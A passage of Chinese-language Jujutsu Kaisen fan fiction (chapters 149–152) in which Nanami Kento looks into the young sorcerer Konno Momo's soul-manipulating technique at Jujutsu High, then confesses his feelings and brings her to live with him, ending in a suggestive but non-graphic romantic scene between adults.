阳光透过窗帘的缝隙斜斜地洒进来,今野桃皱了皱眉,意识缓慢回笼。她下意识地收紧手臂,怀里的被子柔软得有些不真实。 她抱着被子,迷茫地从床上撑着手臂坐起来。 入目是陌生的房间,从摆设和装潢上看,不像是在旅馆。 她慢吞吞地爬了起来,低头一看,发现自己竟然还穿着昨天的衣服。打架后破破烂烂的衣服和别人干净整洁的被褥相比,显得格外刺眼。 好吧,不愧是恪守礼仪、性格沉稳的可靠成年人,绝不会趁人之危的呢。 漫无边际地胡思乱想着,今野桃握住自己受伤的右臂,发动术式将它恢复原状。 昨天装模作样地跟真人打了那么久,差点被它看出猫腻。幸好她当机立断把痛觉调到了零,然后从楼上摔下来,扭断了自己的一条手臂。 现在她要恢复痛觉了,第一件事就是把自己治好。 在原地跳了跳,没发现异样后,今野桃踩着一次性拖鞋开门走了出去。 靠谱的大人正坐在客厅的沙发上,听到声音后,抬眼望了过来。 穿着家居服的七海建人看上去比平日里少了几分锋芒,金色的发丝垂下来,服服帖帖地搭在额前。他没戴眼镜,那双琥珀色的眼睛显得更加锐利,却又因疲惫而微微低垂。 “你醒了。”他把手机放下,严肃地说道,“你是要先去洗漱打理一下,还是直接去医院?我带你去找个医生,你的伤很快就能好。” 医生?不会是硝子吧? “先……先打理一下吧。”今野桃摸了摸因为沾染了尘土而显得油腻许多的头发,觉得自己在散发着一股馊味。 七海建人颔首,将边上的塑料袋递了过去。 “这是新买的衣服和毛巾。” “诶?好的。”真是一如既往的细心啊,娜娜米。 但当她洗了个澡、湿漉漉地走出来时,看见的却是七海建人不赞同的目光。 “伤口沾水容易发炎。”他不容拒绝地起身说道,拎起了外套,“我们现在就去医院。” “不用不用。”今野桃连忙拽住了他的手臂,“不用去医院,我已经好了!” 七海建人犹疑的眼神落在了她的身上:“……好了?” “是哒!”今野桃张开双手,展示给他看,“伤口都好了!之前的骨折也好了!” 七海建人沉默几秒,低声道了一句“失礼了”,随后握住了她昨天晚上还扭曲得不自然的关节。 他一寸一寸地摸过去,确认伤势确实恢复如初了。 他的神色惊疑不定,搞不好已经在大脑里怀疑自己是不是记错了。 “难道你的术式是……”他不确定地说,“反转术式?” 今野桃眨了眨眼睛,开口道:“术式吗?我感觉不是。” 她踮起脚尖,凑到了七海建人的耳边,小声地说道:“七海先生,我感觉自己好像有了那个咒灵的术式。” 她突然靠近的动作太快,男人下意识地往后仰了仰,但最终还是没有避开。 她的呼吸吞吐在他的耳根处,拂过细小的绒毛,让人感觉痒痒的。 在极短暂的恍神后,七海建人捕捉到了她话语中的关键词。 “什么叫做……你有了那个咒灵的术式?”他皱眉问道,“是复制吗?” 今野桃摇摇头:“我不知道,我只知道,在杀掉那个咒灵后,我好像就能用它的术式了。” 她说得理直气壮,毕竟她可是一个“萌新小白”呢!什么都不知道,不是很正常吗。 七海建人也清楚这一点,所以他没有继续追问。 之前他简单地检测了一下,那时她并没有觉醒术式。现在想来,那个时候或许不是没有,只是她不会用而已。 当然,也有可能是特级咒灵的死亡激活了她的术式…… 总之,可能性有很多。 今野桃唯一能告诉他的,就是现在她的术式是什么。 “无为转变。”她解释道,“我可以操纵灵魂,并且通过改变灵魂的方式,来影响肉。体。” 七海建人的眼睑颤了颤,他想起在废弃仓库外看见的那些“尸体”了。 这是个听起来相当邪恶并且强大的术式。 他深深地看着她,而她回以清澈又略带疑惑的目光。 在那双黑黝黝的眸子如清澈的溪水,荡漾着毫不设防的信任,甚至带着点期待被夸奖的雀跃。 ——她好像是真的不明白这个能力意味着什么。 ——他是她遇到的第一个咒术师,也是她的“老师”。她全心全意地相信着他,并且毫无保留地信任他。 他做不到将她扔在半路上转身离开 这个认知让七海建人喉头发紧。 “我明白了。”他闭了闭眼,再次睁开时,已经有了决定,“我会帮你打听一下有没有相关的资料。” 虽然毕业多年,但高专应该不会把他拒之门外吧。 “太好了。”今野桃绽放出灿烂的笑容,她抱住了他的手臂,来回摇晃,“谢谢七海先生!” 可惜七海建人不吃她这一套,他伸手按住她的肩膀,固定住她不安分的动作,缓缓开口道:“你还没告诉我,你是怎么遇到那个特级咒灵的。” 今野桃一点不心虚,下巴一抬,就开始讲述自己昨天晚上“惊心动魄”的故事。 “我是听见叫救命的声音才过去的,一开始其实没有发现它是咒灵,因为它和人类长得很像。”说到这里,她还有点委屈,“如果知道它是咒灵,我就会更谨慎一点了。” 她没有说后悔,只是觉得自己还能做得更好一点。 七海建人没有批评她的莽撞,以她的力气,打几个普通成年男性不是问题。 好端端走在路上遇到特级咒灵的概率太低了,不能因此而责备她。 “然后呢?”他问道。 “然后我就过去看看,结果发现它竟然在捕杀人类!”今野桃挺了挺胸,“我当然不能坐视不管,就跑过去想要赶跑它。那个咒灵大概是发现我是咒术师,就一直没有下狠手,只是把我往废弃仓库那边赶。废弃仓库里到处都是尸体,我猜,那个地方可能是它的猎场。” 她的睫毛垂下来,在眼底投下一小片阴影,声音像是被雨水打湿的羽毛般轻软,可怜地说道:“然后我没打过他……就、就想到了七海先生……抱歉,七海先生,明明之前说了晚上十点以后不能打电话给你的。” “没关系。”脑子还没反应过来,嘴巴就已经先把话说出来了,连他自己都为止惊讶,“这种事情,你找我是对的。” 今野桃虚假的可怜立刻变成了开心的笑脸,方才的歉疚神色一扫而空:“我就知道七海先生不会怪我的。” ……感觉自己养了一只小狗。 指节抵住太阳穴轻轻按压,他尽量让声音保持平稳,开口道:“下次如果遇到打不过的敌人,记得第一时间逃跑。不论如何,活着才是最重要的。” “嗯嗯,不会让七海先生担心的!”她大力点头回答。 七海建人叹了口气,将她已经充好电的手机递了过去, “你看看要不要给谁报个平安吧。”他淡淡说道,“现在都已经是下午了,你睡了十几个小时。” 今野桃握着手机,望着发光的屏幕沉默良久,扬起嘴角若无其事地对他说道:“不用啦,我的爸爸妈妈带着我的妹妹已经移民了,可能是在美国,也可能是在法国,家里就我一个人。” 七海建人哑然。 她曾提起的“怪胎”两个字从他的脑海中一闪而过,像根细小的刺,悄无声息地扎进心底。 “……好了,既然你没事,就好好在家休息吧。”七海建人他罕见地顿了顿,目光落在玄关的鞋柜上。他侧过头,语速比平时快了些许,像是在掩饰什么,“我今天已经请了假,正好去给你查些资料。” “好呀好呀,辛苦七海先生了!” 他开车将她送回家,那里是普通的公寓楼。离开的时候,他从后视镜里看见她一直站在门口,不停地向他挥手。 “一路平安——” 直到拐过一道弯,才看不见她的身影了。 七海建人收回视线,手指在手机屏幕上敲击几下,然后悬在半空好几秒钟,反复徘徊,终于拨出去了一个电话。 “夜蛾老师,打扰了。”他顿了顿,说道,“是这样的,我有一个朋友……” 得到夜蛾正道的允许后,他驱车抵达了高专。道路两边的树影摇晃,这么多年过去,学校似乎毫无变化。 还没等他熄火,一个高大的身影突然“啪”地贴在了驾驶座的窗户上。 “娜~娜~米!” 五条悟那张过分俊美的脸此刻被玻璃挤压得变形,竖起来的银白色头发几乎要戳进车窗缝隙。随着七海缓缓降下车窗,那张脸也跟着滑稽地向下滑动。 “好冷漠啊,娜娜米!”五条悟鼓着脸颊,探头探脑地往他车里看,“你的那个‘朋友’呢?” 七海建人平静地回答:“她有事。” “这样啊……”五条悟遗憾地说道,“我还挺好奇来着。” “没什么可好奇的。”七海建人推了推出门时戴上的眼镜,用力推开车门,把赖在门上的五条悟顶开,“帮朋友一个忙罢了。” 对人际交往毫无分寸的男人搭着他的肩膀, 歪着头看他。 “娜娜米以前是这么热心肠的人吗?我都不记得了耶。”他竖起手掌,挡在嘴边,装模作样地问道,“那个朋友……不会是娜娜米的女朋友吧?” 第149章 七海建人回以毫无波澜的目光:“不是。” 五条悟不置可否,只是意味深长地勾起一抹玩味的弧度,说道:“那是同事?” “这和我来这里的目的没有关系。”七海建人沉静地说道,对后面走来的中年男人点头示意,“夜蛾老师,我想查阅图书室的资料。,可以吗?” “可以。”夜蛾正道的声音浑厚如钟,电话里已经应允的事,他自然不会反悔。 七海建人顺着记忆里的方向找到了图书室。 图书室的门轴发出年迈的呻吟。七海建人的指尖抚过书架,木质的纹理在指腹留下细微的触感。 高专是个让他觉得很神奇也很割裂的地方,如果不是五条悟入学以后翻新了几次,这里的建筑基本上都还保留着极其传统的风格。泛黄的纸张被随意堆叠,仿佛时间在这里停滞。珍贵的资料被弃若敝屣,从来没有考虑过做成电子版的。 当然,也有可能担心电子版的泄露出去。毕竟垄断知识也是上层阶级巩固权力的手段之一。 他想,但让知识永远困在这些发霉的纸页里,真的能维持他们摇摇欲坠的权威吗? 他抽出一本装帧古旧的典籍,灰尘在阳光下起舞。有用的信息或许就藏在这字里行间,但需要更细致的研读。 如果传到电脑里去,只要搜索一下就能找到想要的东西。 五条悟不知何时倚在了门框上,修长的身影挡住了大半光线,他的声音轻快得像在讨论今天的甜点:“如果你真的想搞清楚她的术式是什么,可以把人带到我面前,让我看一看哦。” 他好心提议道,毕竟什么都瞒不过“六眼”嘛。 “谢谢,但暂时先不用了。”七海建人直起腰说道,“她还没有下定决心成为一名真正的咒术师。” “你可以问问她嘛,看她愿不愿意到高专来打工,我们一直都很缺人手。”五条悟是最有资格说这句话的人,如果她确实能祓除特级咒灵,绝对能成长为咒术界的支柱之一。 而且她好像和娜娜米关系很好,这不正是天然的盟友吗。 “或者你把她号码给我。”五条悟热情地说道,“让五条大帅哥亲自去邀请她!” 七海建人将整理好的资料抱在胸前,毫不介意自己的西装染上了灰尘。镜片后的目光平静地扫过对方。 “不好意思,她的手机拒接陌生号码。” 五条悟哽住,他的表情瞬间垮了下来。 “什么嘛什么嘛,竟然这样防备我一个大帅哥!真是太过分啦!”五条悟碎碎念地跟在七海建人身后,像是某个特级咒灵。 七海建人恍若未觉地打算关门,试图将烦人的大猫缩在里面。 可惜,失败了。 他会开锁。 夜蛾正道站在走廊尽头,看着自己性格稳重的学生如记忆里那样走来。这个比同龄人成熟太多的年轻人,总是让他想起年轻时的自己。 “既然她有你看管,那我就放心了。”这位见多识广的老师叮嘱道,“但是你一定不要让其他人知道她的术式,明白吗。” 七海建人的眉心出现一道几不可察的褶皱:“是有什么问题吗?” 夜蛾正道沉吟,粗壮的指节无意识地摩挲着下巴,欲言又止,不知道该不该把最糟糕的猜测说出来。 “是啦,我跟夜蛾讨论了一下,推测你女……你朋友的术式可能是‘夺取’哦。”五条悟的手掌交叠,枕在脑后,完全看不出也是一个该以身作则的老师。 “夺取?!” 五条悟竖起一根手指,一点不正经地说道:“就是把人杀掉就能夺取对方的术式之类的咯。” 七海建人的眉毛拧得更紧了。 “不过咒术师的术式如同菜刀,如何使用,端看握刀者。”夜蛾正道宽厚的手掌按在七海肩上,中肯地安慰。 “我知道了。”七海建人抿了抿唇,点头。 “时间过得真快啊,转眼间都这么久了。”夜蛾正道声音低沉,像是从岁月深处传来的回音,“我还记得你入学时候的样子。” 七海建人垂着头,沉默许久。 “抱歉,夜蛾老师,我或许……让你失望了。” 他指的是自己毕业后离开了咒术界,成为了一名无趣的社畜。 窗外的树叶沙沙作响,仿佛在替他诉说那些辗转反侧的夜晚——西装革履的上班族生活,按部就班的每一天,以及刻意回避的咒术界消息。 当年夜蛾正道对他、或者说对每一个学生,都是寄予了厚望。但现在回头望去,同行人寥寥无几。 他是一个逃兵,从自己的战场上逃走了。 夜蛾正道突然笑了,眼角的皱纹舒展开来。 “失望?不,我没有失望。”他摇摇头,“我很高兴看见你能健康、平安地长大,成为了一个对社会有用、对自己负责的大人。” 七海建人心中五味杂陈。夜色中,他看见老师微微泛白的鬓角,和依然坚毅如初的眼神。 “好了,已经很晚了,早点回去吧。”夜蛾正道笑道,“路上注意安全。” “……嗯。”七海建人沙哑着嗓子回应。 就在这时,五条悟像只慵懒的白猫般晃了过来,墨镜后的眼睛闪着狡黠的光:“哎呀呀~我们娜娜米现在回家,会不会有人温柔地说‘欢迎回来’呢?”他故意拖长了尾音。 “没有,你误会了。”七海建人移开视线,反驳得有点苍白。 他不懂自己的语气里隐藏了多少心虚,而这点破绽早已被“六眼”看得分明。 五条悟不是会无理取闹的人,只怪七海建人犹犹豫豫的模样让他觉得自己应该帮学弟一把。 哎呀,这么多年了,他好像都没有喝过一次喜酒呢…… 现在想想,普通咒术师单身的概率也太高了一点吧! 夜蛾正道来回看了看两人,扶了扶眼镜,严肃地说道:“七海,如果真的有了合适的对象,就不要畏畏缩缩的,你也快三十岁了。” 七海建人:“……” 不好,夜蛾老师也开始加入催婚的大军了吗? 大概上了年纪的人就喜欢回忆往事,夜蛾正道抬头望天,表情怅然若失。 一条走廊。 三个单身狗。 七海建人轻咳一声,连忙告辞,两条腿走得飞快。 他的背影几乎称得上落荒而逃,留下五条悟在原地笑得前仰后合,而夜蛾正道则望着渐行渐远的背影,眼中闪过一丝慈父般的笑意。 “所以,五条你……” “哎呀,夜蛾,我突然有事,先走咯!” 第150章 深夜的东京褪去了白日的喧嚣,只剩下零星几盏路灯在夜色中孤独地亮着。七海建人的车缓缓驶过空荡的街道,仪表盘的微光映在他轮廓分明的侧脸上,投下忽明忽暗的阴影。 红灯亮起,他修长的手指在方向盘上轻轻敲击,玻璃窗外的城市仿佛被按下了暂停键,只有交通灯的数字在无声地倒数。 是要直接回家,等有空的时候再把资料给她;还是现在去找她? 虽然今天请了假,但明天可没有。真要等到空闲时候,可还有好几天。 灯光闪了闪,在绿灯亮起的时候,他有了决定。 ——还是去找她吧。 他不习惯将事情堆积在一起,拖延到最后一刻再完成。 她现在也正是需要这些资料的时候,早点送去,她也能早点研究出来结果。 把车子停下,按照她的作息来看,现在她大概还没休息,七海建人拨出了她的号码。 在短暂的铃声后,她接通了。 “七海先生晚上好!”她的声音中气十足,应当是没有大碍了。 “你在 家吗?“他问道。 对方沉默了。 好吧,他懂了。 “你现在在哪?”七海建人叹了口气。 对方小声地报出了一个地址,狡辩、啊不是,解释道:“就在我家旁边啦。” “好,你在那里等一下,我马上过去。” 方向盘转动,他拐弯,绕了个圈,驶向和自己家完全不同的方向。 车子刚刚停稳,三个鼻青脸肿的男人互相搀扶着从巷口踉跄而出。他们骂骂咧咧的对话飘进车窗,七海建人镜片后的眼睛微微眯起,目光如刀锋般扫过那几个狼狈的身影。 “……早就跟你说了别来别来,你非要来!现在好了吧!” “我哪里知道是真的……‘幽灵女鬼’听起来很像什么都市怪谈啊……” “唉,算了算了,就当是被狗咬了……” 他们一瘸一拐地消失在了街道尽头。七海建人冷冷地望着他们远去,下车走进了幽暗的巷子里。 阴影之中,女人正拍打着自己沾染了灰尘的T恤衫,可惜白色的布料太显脏了,怎么也擦不干净。 她的马尾辫高高扎起,随着动作轻轻摇晃。她抹去拳头上的尘土,活动着腕关节,表情漠然。 听见脚步声后,回头时目光仍然带着轻蔑。 但发现来人是他后,坚冰立刻融化成了泉水。 “七海先生!”她小跑过来,脚步轻快得像只林间的小鹿,“你来得好快!” 忽地,她的语气有点心虚,不知道他有没有看见刚刚的场景。反复犹豫后,还是主动开口说道:“我可没有乱打人,是他们先动手的!我是反击!而且他们都不是好人!” 说到后面,她的语气有点急躁。 七海建人的手轻轻按在了她的肩膀上,就像是揪住了小动物的后颈,让她立刻安静下来了。她挠了挠脸颊,他注意到她手背的关节处有一道浅浅的红痕,在白皙的皮肤上格外刺眼。 “我知道。”他顿了顿,说道,“我没有怪你。” 今野桃弯了弯眼睛:“七海先生不知道吧,多亏了我,我们这片区域的治安可好了呢!” 七海建人忍住了扶额的冲动。 不怪她,不代表是在夸她啊。 然而,批评她不注意安全的话却怎么也说不出口。 ——连特级咒灵都能祓除,区区几个普通男人,又能拿她怎么办呢? 可是,理智和感情却在打架。 “你……”七海建人斟酌了一下语言,说道,“我刚刚听见他们说他们是来主动找你的,你要小心,不要中了陷阱。” 今野桃怔了怔,随后小心翼翼地点头:“我知道了。” 好像还是有点吓到她了。隐藏在镜片后面的眼睛注视着她,七海建人将手里拎着的袋子递过去。 “这是我给你找来的资料,你拿回去好好看看。” “啊,谢谢七海先生!”她惊喜地接过,“我会仔细研究的!” 大概是夜色太浓,她没看清楚方向,伸手去抓袋子时,不小心握住了他的指尖。 七海建人立刻皱起了眉。 “你的手怎么这么冷?”他的目光扫过她单薄的衣服。只是一件T恤衫,不足以抵挡夜里的凉气。 “还好吧,我不冷诶。”今野桃无所谓地说道,“我刚刚还运动了呢,可能因为有点风吧。” 在七海建人严肃的目光下,她缩了缩脖子。 “都、都怪今晚的月色太美了啦,所以下楼的时候走得太急,忘了穿外套。”她振振有词地说道。 七海建人的眼皮微微颤了颤。 “月色……很美吗?” “是呀。”女人抬起头,露出修长白皙的脖子,衬衫的领口没能将她的锁骨全都遮住,若隐若现地露出了一点,“今天是满月诶!” 她仰望着天上皎洁的月亮,月光在她眼中流转,而他在看着她。 “今野小姐有男朋友了吗?”他忽然问道,声音低沉得几乎融入夜色。 今野桃耸了耸肩膀,嘴角扯出一个自嘲的弧度:“怎么可能有啦。万一我对着‘空气’打拳被他看见,他以为我在发疯怎么办。” 咒术师有时候在别人眼里,就是疯子。 夜风穿过狭窄的巷子,卷起地上的一片落叶。寂静的巷子里,只能听见两人的呼吸声。终于,他挪动了脚步。 “我送你回去吧。”他的嗓音比平时更加沙哑,“正好……我有件事情想跟你说。” “啊,好的!” 今野桃的家距离这里只有几百米,七海建人将车停在公寓楼下,跟在她的身后,木质楼梯在他脚下发出不堪重负的呻吟,每一步都像是踩在时光的琴键上。 这声音让他想起高专的宿舍楼梯——最初还有同期的脚步声相伴,后来就只剩下自己一个人的回响。 寂寞吗? 其实还好吧。 毕竟已经习惯了。 为了抵御地震,木制楼房在日本时很常见,基本上都是三层以下,优点是租金便宜,具有很强的抗震性,建屋价格也低。 但缺点就更明显了。 三层的公寓楼里住了好几户,隔音很不好,能够听到各种动静。隔壁婴儿的啼哭、电视的嘈杂、夫妻的争执,全都毫无保留地钻进咒术师敏锐的耳朵里。 七海建人皱了皱眉,这样的环境,她是怎么入睡的? 推开门,狭小的客厅一览无余。七海建人高大的身躯让这个空间显得更加逼仄。他的目光扫过褪色的墙纸、修补过的榻榻米、还有那个看起来比她年纪还大的电视柜。 “请坐。”今野桃的声音很轻,或许是怕吵到隔壁的邻居。 七海建人坐在了柔软却又有点破旧的沙发上,沙发在他身下发出细微的声响,弹簧已经有些松弛。他环视了一圈,发现玄关处的鞋柜上摆着一个相框,但里面已经没有照片。 应该是被故意抽走了。 “抱歉,这间屋子是我爸爸妈妈留给我的,已经很多年了,所以有些老旧。”她平和地笑了笑,仿佛并不在意,“好在我一个人住绰绰有余。” ……是真的不在意了吗? 那么为什么明明有钱到可以买下一家便利店,却执着地不肯买更好的家具呢? 想说的话到了嘴边又咽下,几个字而已,他却反复咀嚼。 可惜最后说出口的,和他想象中的也大相径庭。 “你有计划搬家吗?”他问道。 “搬家?”女人愕然,随后笑容变得苦涩,“还是算了吧,反正一个人住,在哪里都一样……” “我的意思是,”七海建人咬了咬舌尖,细微的疼痛让他的大脑越发清醒,他继续说道,“搬到我那里去。” 150-160 第151章 四目相对时,仿佛有火花迸溅。 今野桃“嗷”地一声,抱着脑袋蹲了下去。七海建人被她吓了一跳,几乎是从沙发上弹起来。 “怎么了?” “不对劲!这非常不对劲!”女人把脸埋在膝盖之间,黑色的发丝下露出红红的耳廓,“都、都还没告白呢!怎么就能住在一起呢?!” 七海建人的身体瞬间僵直,仿佛被施了定身咒。 没有告白? “……但是……”他张了张嘴巴,喉结上下滚动,试图说点什么,却发不出完整的声音。 今野桃仰着小脸,一副可怜兮兮的样子:“我总不能以朋友的身份搬到七海先生的家里去吧!” “不是的,你刚刚……”七海建人想要解释,却发现语言系统完全紊乱。 也对,不是每个日本人都会将“月色真美”当做是告白的话语…… 所以,是他搞错了?! 羞涩、尴尬、无奈……复杂的情绪涌上心头,热意从脖颈窜上耳根,一时间竟然让七海建人无所适从。 “很抱歉。”他搭在沙发靠背上的手相当用力,指关节都泛起了白色,以此压下内心的震荡,“是我没有说清楚。” 面对着今野桃无辜又纯真的面容,他的喉头颤了颤。 “我喜欢你,所以,能不能给我一个照顾你的机会。” 他的声音和平日里好似没什么很大的区别,但今野桃凭借优越的视力,发现了他的脸颊开始隐隐约约地泛起了淡淡的薄红。 随着她紧盯着的时间越来越久,那抹红色也逐渐加深,越来越鲜艳。 她轻轻咬住下唇,嘴角却不受控制地上扬。 “既然你都这样说了……”她的下颌线绷得很紧,睫毛如蝶翼般颤动,遮住眼眸里的幽光,“那我……” 话没说完,门口传来了“砰砰砰”的敲门声,很不客气,带着强烈的不耐烦。 七海建人沉下脸,抬手挡住了要去开门的今野桃,自己走了过去。 拉开门看到是个成年男人,对方嚣张的气焰顿时萎靡了几分。 “这么晚了,小点声音不知道吗!”邻居理直气壮地开口道,“都吵到我们了!” 七海建人眼珠往下睨着这个 差不多只到他胸口位置的男人,冷峻的面容不怒自威:“知道了。” 男人还想说什么,旁边一扇门打开,一个看起来有六七十岁的老太太冒出了脑袋,她伸出手指点了点男人,劈头盖脸就是一顿骂。 “你还好意思说小桃,我看就是你家电视机的声音最大!天天晚上吵死个人了!真是没素质!” 男人不敢招惹身材高大的七海建人,转而将怒火朝着老人倾泻而去。 “你这个老太婆,说什么呢!”他作势挥了挥拳头。 下一秒,衣领就被七海建人揪住了。 只是稍稍用了一点力气,男人就直接被甩飞出两米开外,踉踉跄跄好几步才站稳。 “你要动手吗?”他不紧不慢地问道。 男人胆怯地退了退,他用怨毒的目光看着他,又看了看后面抱着手臂不作声的今野桃,抛下一句“果然都是怪胎!”,随后头也不回地跑进了自己家,砰地一声将门关上。 老太太对他的方向嗤了嗤,转头看向七海建人。 “你是……小桃的男朋友吗?”她露出了慈祥的表情,“看起来还不错嘛。” 七海建人迟疑地点了点头,他能从容应对地痞流氓,但对于陌生人的好意却不太能接受。 尤其是,上了年纪的老人太喜欢抓着人聊天了。 “我可是看着小桃长大的,小桃是个好孩子,你不要因为其他人的话对她产生了误解。”老太太显然对那个男人的话耿耿于怀,“什么‘怪胎’不‘怪胎’的,不过是父母偏心罢了!” “神谷奶奶……”今野桃不好意思地喊道。 老太太摆摆手,让她安静,自己继续对七海建人说道:“多亏了小桃,我们附近的治安一直都很好,别说打架斗殴了,连小偷小摸都没有。”这些事情,她们都看在眼里。 如今,小桃也长大了。 “你是要搬家吗?”老太太叹了口气,“搬走也好,这里可不是什么好地方,当初你爸爸妈妈也真是,都不知道……” “神谷奶奶。”今野桃打断了她的话,“是啊,我要搬家了,以后有空会回来看你们的。” 老太太摇摇头,布满皱纹的手握着拐杖:“不用,你过得好就行……唉,都是……” 她一边念叨着什么,一边转身走进了自己的屋子。 今野桃扶着门框,手指无意识地抠着门框上翘起的木刺,目光落在走廊角落那处渗水的霉斑上。窗外透进来的路灯光将她的侧脸镀上一层朦胧的轮廓,睫毛在眼下投出细碎的阴影。 她是在伤心吗? “走吧。”七海建人伸出手,本想揽在她的肩膀上,但最终还是轻轻推了推她,“你有什么东西需要收拾吗?” 今野桃默默点头,一室一厅的屋子小得让人喘不过气来。不知道是不是错觉,隔壁电视机的声音好像大了一点,刺耳得让人太阳穴发胀。 这里真是叫人一刻都不想多呆。 十来分钟后,她从卧室里出来,只收拾出了一个小小的背包。 “我其实没多少东西,就几件衣服和日用品。”她无所谓地笑道。 七海建人扶了扶眼镜,淡然说道:“如果不是很重要的衣服,就留下来吧,我给你买新的。日用品也是,都可以买新的。” “诶?”今野桃愣了愣,“可是空手过去会不会不太好……” “不算空手。”七海建人顿了顿,开口道,“你已经带上了最重要的东西。” 他的目光锁定在她的身上,最重要的东西是什么,不言而喻。 今野桃不好意思地挠了挠脸颊,最后她两手空空地上了他的车。 车内很安静,只有发动机运转的声音。她坐在副驾驶,视线忍不住就歪到了他的身上。 他真的要把她带回家诶。 这样好吗?带一个陌生人回家,身为长得好看的男性,未免一点警惕心都没有。 仿佛察觉到她的视线,七海建人飞快地瞥了她一眼,又收了回去。 他的住处也是一间公寓,但不管是面积还是装修,都远胜过她的。 三室两厅的屋子里,除了主卧和客卧,还有一间被改成了书房。开放式厨房里,不锈钢水槽擦得发亮,不知道是使用频率低,还是主人太爱干净。 上次来,她都没仔细看看。而今天,好像也没机会了。 七海建人将外套随手扔在了沙发上,扯松了领带,淡淡说道:“你早点休息,有什么需要……” 她戳了戳他的后背。 仿佛过电一样,他肉眼可见地抖了抖,每一块肌肉都绷紧了。 “你做什么。”他无奈地回头问道。 今野桃歪了歪脑袋,她的声音里带着蜂蜜般的黏稠感:“你要睡觉了吗?” 七海建人低头看了一眼手表,现在已经十一点多了,超过他固定的睡觉时间快一个小时。 “……我只请了今天的假。”他揉了揉额角,“明天还要上班。” ……好有性缩力的一句话。 不过没关系,勇敢桃桃,不怕困难! 今野桃再次伸出手,这一次,她的手指游鱼一般从他衣服的下摆处钻了进去。 “我没什么可以报答你的,”她掐着嗓子、拖长了尾音,说道,“只有以身相许了。” 七海建人挑眉,用意味不明的目光望过去。 她是在开玩笑吗?还是认真的? 今野桃对他眨了眨眼睛,眼睛弯弯如月。 十七岁少年叫做矜持扭捏,二十七岁叫做矫揉造作。都是成年人,心意相通后,难道不该做些快乐的事情吗? “我相信七海先生。”她的声音仿佛披上了糖衣的毒药,引诱着人坠落,敲击着他的理智,“明天一定可以起来上班的。” 被按进柔软床铺的时候,七海建人心中警铃大作。 他突然想起了最开始她说过的话—— 不对劲!这非常不对劲! 可惜,为时已晚。 她的吻落在他的唇上,带着无比的热情,来得又急又凶,根本就没有给出试探、适应的时间。不知道什么时候,两人的舌尖已经纠缠在了一起。 理智的防线被轻易击溃,干涸的泥土终于迎来了露水的滋润,它欢欣鼓舞、几乎迫不及待。枯柴遇到了一点火星,转瞬之间就化作了燎原之势。 空气中飘散着他惯用的香水味道,这本该是他最熟悉、最安心的气息,此刻却成了助长暧昧的催化剂。 他开放了自己的领域,任由她大摇大摆地成为主人。 “等、等等……”七海建人突然想起了什么,试图从将要把他吞没的泥潭之中抽身而出,“家里没有买那个……” 靠谱的成年人总是考虑得更多,可惜遇上了不讲道理的她。 她的眼睛微微眯着,眼角眉梢都是愉悦。潮湿的呼吸吞吐在他的耳边,她轻声曼语,每个字都像带着小钩子:“没关系呀,我相信七海先生可以忍住的,对吧?” “……”几次深呼吸后,七海建人喉结滚动,额角沁出细密 的汗珠。 怎么可能啊,别太离谱了! 七海建人面露挣扎。 “不、不行……” 原本撑在被子上的手被覆盖住,五根手指缓缓从他的指缝里穿过去,最后紧紧扣住。 今野桃修长的双腿环住了他的腰,另一只手的指甲深深陷入他结实的后背 “还能胡思乱想,果然是不够卖力啊,七海先生。” 第152章 第二天,当今野桃睡醒的时候,家里只有她一个人。身边的位置早已凉透,只有凹陷的枕头证明昨晚有人同眠。 遮光性极好的窗帘只从缝隙里泄露出丝丝阳光,带来了些许热气。 牛的,不愧是一级咒术师,体力就是好,还真的能大清早爬起来上班! 躺在宽敞的大床上,她懒洋洋地打了个哈欠,蜗牛般坐了起来。被子滑下,露出肌肤上星星点点的红痕。 床头柜上贴着一张贴纸,上面工整地写了几行字,大意是早饭已经做好了,放在冰箱里,醒了之后用微波炉热一下就能吃。 除此之外还有一张信用卡,用来买些衣服和日用品。 如果还有什么想买的,也可以刷这张卡。 晚上他或许不会回来吃饭,要加班。 今野桃看着卡片,由衷地感慨。 DK和社畜,真的好不一样啊……她记得,他们最后躺下的时间好像已经是凌晨两点多了?他打开手机又关上,反复几次后,才抱着她入睡。 大概是在纠结到底要不要请假吧。可惜昨天已经请过了,再请一天肯定不会被批准的。 真可怜啊…… 不过娜娜米还是一如既往地认真且极具责任感呢,早上醒来一身清爽,毫无“大战”后的疲倦。 今野桃踩着新拖鞋走到了衣柜前,昨天晚上的T恤衫已经变得皱巴巴了,好在裤子虽然蔫蔫的,但还能穿。 今野桃的手指掠过和她身材很不符的宽松衬衫和T恤衫,最后抽出了一件白色的纯棉短T恤。 白色多少都会有点透,晨光一照,将腰线的轮廓勾勒得若隐若现。 她将下摆塞进裤腰,袖子挽起来,领口从半边肩膀上滑落,因为脸蛋过于漂亮,竟然很有“男友风”打扮的意味。 哒哒哒地走到了厨房,料理台上还摆着用过的刀具和未洗过的碗碟,想来赶着上班的人实在是没有时间去做这些扫尾的家务了。 打开冰箱,里面用保鲜膜包着一个盘子,盘子上装着几块面包,边上是一瓶牛奶和几瓶果酱。 天天就吃这些东西,难怪人看起来都没什么精神。 今野桃忽然掏出手机,看了一眼时间。 现在是上午九点五十分,七海建人应该在工作,距离吃午饭还早得很。 咔嚓—— 她举起手机,用俯视的角度给自己拍了一张照片。 照片里,女人微微歪着头,阳光从侧面斜斜地打在脸上,凌乱的长发如瀑般垂落,在脸颊旁勾勒出柔和的弧度,衬得那张素净的小脸越发精致。她未施粉黛的肌肤透出自然的红晕,与宽大领口下露出的大片肌肤形成微妙的反差——纯真中带着懵懂的诱惑。 她轻快地在键盘上敲击着。 [七海先生,不好意思呀,因为没有可穿的衣服,所以借用了一件你的T恤衫,可以吗?] 诶,不知道他收到短信会是什么表情。 今野桃的眼神中流露出些许愉悦。 直到早餐快要吃完,对方才慢吞吞地回了几个字。 [可以。] 真可惜,她没有看见成熟大人在工位上石化的模样,同事一连喊了他好几句才把他飞走的灵魂喊回来。 “七海君,你怎么了,不舒服吗?” “没有,谢谢。” 他蒙住眼睛,用冷淡的话语逼退了不识趣的同事。耳根热得发烫,打字的时候指尖都在颤抖。 即便如此,整整一个上午,他也什么事情都没能做成,脑子里始终盘旋着照片上她的模样。 她怎么能、怎么能这样穿他的衣服呢? 七海建人的第一反应是阻止她。但很快,他又想起她发来的短信内容,如果不穿这件,她又能穿什么呢?让她把那件沾染了不明液体的上衣再穿回去? 那当然不可以。 对了,家里有洗衣机和烘干机,如果现在清洗的话,中午的时候就能洗干净。但她会用烘干机吗?明显不会。现在他也没有时间远程指导。 